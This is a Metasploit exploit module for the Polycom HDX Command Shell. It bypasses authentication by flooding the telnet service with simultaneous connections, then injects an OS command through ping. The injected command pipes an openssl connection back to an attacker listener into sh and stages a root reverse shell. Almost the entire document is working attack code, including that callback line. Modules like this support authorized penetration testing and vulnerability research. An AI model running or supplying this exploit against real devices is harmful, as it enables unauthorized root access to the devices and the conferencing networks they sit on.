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Polycom Command Shell Authorization Bypass

Posted on 03 August 2016

##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'msf/core'

class MetasploitModule < Msf::Exploit::Remote
Rank = NormalRanking
include Msf::Exploit::Remote::Tcp
include Msf::Auxiliary::Report

def initialize(info = {})
super(
update_info(
info,
'Name' => 'Polycom Command Shell Authorization Bypass',
'Alias' => 'psh_auth_bypass',
'Author' =>
[
'Paul Haas <Paul [dot] Haas [at] Security-Assessment.com>', # module
'h00die <mike@shorebreaksecurity.com>', # submission/cleanup
],
'DisclosureDate' => 'Jan 18 2013',
'Description' => %q(
The login component of the Polycom Command Shell on Polycom HDX
video endpints, running software versions 3.0.5 and earlier,
is vulnerable to an authorization bypass when simultaneous
connections are made to the service, allowing remote network
attackers to gain access to a sandboxed telnet prompt without
authentication. Versions prior to 3.0.4 contain OS command
injection in the ping command which can be used to execute
arbitrary commands as root.
),
'License' => MSF_LICENSE,
'References' =>
[
[ 'URL', 'http://www.security-assessment.com/files/documents/advisory/Polycom%20HDX%20Telnet%20Authorization%20Bypass%20-%20RELEASE.pdf' ],
[ 'URL', 'http://blog.tempest.com.br/joao-paulo-campello/polycom-web-management-interface-os-command-injection.html' ],
[ 'EDB', '24494']
],
'Platform' => 'unix',
'Arch' => ARCH_CMD,
'Privileged' => true,
'Targets' => [ [ "Universal", {} ] ],
'Payload' =>
{
'Space' => 8000,
'DisableNops' => true,
'Compat' => { 'PayloadType' => 'cmd' }
},
'DefaultOptions' => { 'PAYLOAD' => 'cmd/unix/reverse_openssl' },
'DefaultTarget' => 0
)
)

register_options(
[
Opt::RHOST(),
Opt::RPORT(23),
OptAddress.new('CBHOST', [ false, "The listener address used for staging the final payload" ]),
OptPort.new('CBPORT', [ false, "The listener port used for staging the final payload" ])
], self.class
)
register_advanced_options(
[
OptInt.new('THREADS', [false, 'Threads for authentication bypass', 6]),
OptInt.new('MAX_CONNECTIONS', [false, 'Threads for authentication bypass', 100])
], self.class
)
end

def check
connect
sock.put(Rex::Text.rand_text_alpha(rand(5) + 1) + "
")
Rex.sleep(1)
res = sock.get_once
disconnect

if !res && !res.empty?
return Exploit::CheckCode::Safe
end

if res =~ /Welcome to ViewStation/
return Exploit::CheckCode::Appears
end

Exploit::CheckCode::Safe
end

def exploit
# Keep track of results (successful connections)
results = []

# Random string for password
password = Rex::Text.rand_text_alpha(rand(5) + 1)

# Threaded login checker
max_threads = datastore['THREADS']
cur_threads = []

# Try up to 100 times just to be sure
queue = [*(1..datastore['MAX_CONNECTIONS'])]

print_status("Starting Authentication bypass with #{datastore['THREADS']} threads with #{datastore['MAX_CONNECTIONS']} max connections ")
until queue.empty?
while cur_threads.length < max_threads

# We can stop if we get a valid login
break unless results.empty?

# keep track of how many attempts we've made
item = queue.shift

# We can stop if we reach max tries
break unless item

t = Thread.new(item) do |count|
sock = connect
sock.put(password + "
")
res = sock.get_once

until res.empty?
break unless results.empty?

# Post-login Polycom banner means success
if res =~ /Polycom/
results << sock
break
# bind error indicates bypass is working
elsif res =~ /bind/
sock.put(password + "
")
# Login error means we need to disconnect
elsif res =~ /failed/
break
# To many connections means we need to disconnect
elsif res =~ /Error/
break
end
res = sock.get_once
end
end

cur_threads << t
end

# We can stop if we get a valid login
break unless results.empty?

# Add to a list of dead threads if we're finished
cur_threads.each_index do |ti|
t = cur_threads[ti]
unless t.alive?
cur_threads[ti] = nil
end
end

# Remove any dead threads from the set
cur_threads.delete(nil)

Rex.sleep(0.25)
end

# Clean up any remaining threads
cur_threads.each { |sock| sock.kill }

if !results.empty?
print_good("#{rhost}:#{rport} Successfully exploited the authentication bypass flaw")
do_payload(results[0])
else
print_error("#{rhost}:#{rport} Unable to bypass authentication, this target may not be vulnerable")
end
end

def do_payload(sock)
# Prefer CBHOST, but use LHOST, or autodetect the IP otherwise
cbhost = datastore['CBHOST'] || datastore['LHOST'] || Rex::Socket.source_address(datastore['RHOST'])

# Start a listener
start_listener(true)

# Figure out the port we picked
cbport = self.service.getsockname[2]

# Utilize ping OS injection to push cmd payload using stager optimized for limited buffer < 128
cmd = "
ping ;s=$IFS;openssl${s}s_client$s-quiet$s-host${s}#{cbhost}$s-port${s}#{cbport}|sh;ping$s-c${s}1${s}0
"
sock.put(cmd)

# Give time for our command to be queued and executed
1.upto(5) do
Rex.sleep(1)
break if session_created?
end
end

def stage_final_payload(cli)
print_good("Sending payload of #{payload.encoded.length} bytes to #{cli.peerhost}:#{cli.peerport}...")
cli.put(payload.encoded + "
")
end

def start_listener(ssl = false)
comm = datastore['ListenerComm']
if comm == 'local'
comm = ::Rex::Socket::Comm::Local
else
comm = nil
end

self.service = Rex::Socket::TcpServer.create(
'LocalPort' => datastore['CBPORT'],
'SSL' => ssl,
'SSLCert' => datastore['SSLCert'],
'Comm' => comm,
'Context' =>
{
'Msf' => framework,
'MsfExploit' => self
}
)

self.service.on_client_connect_proc = proc { |client|
stage_final_payload(client)
}

# Start the listening service
self.service.start
end

# Shut down any running services
def cleanup
super
if self.service
print_status("Shutting down payload stager listener...")
begin
self.service.deref if self.service.is_a?(Rex::Service)
if self.service.is_a?(Rex::Socket)
self.service.close
self.service.stop
end
self.service = nil
rescue ::Exception
end
end
end

# Accessor for our TCP payload stager
attr_accessor :service
end

 

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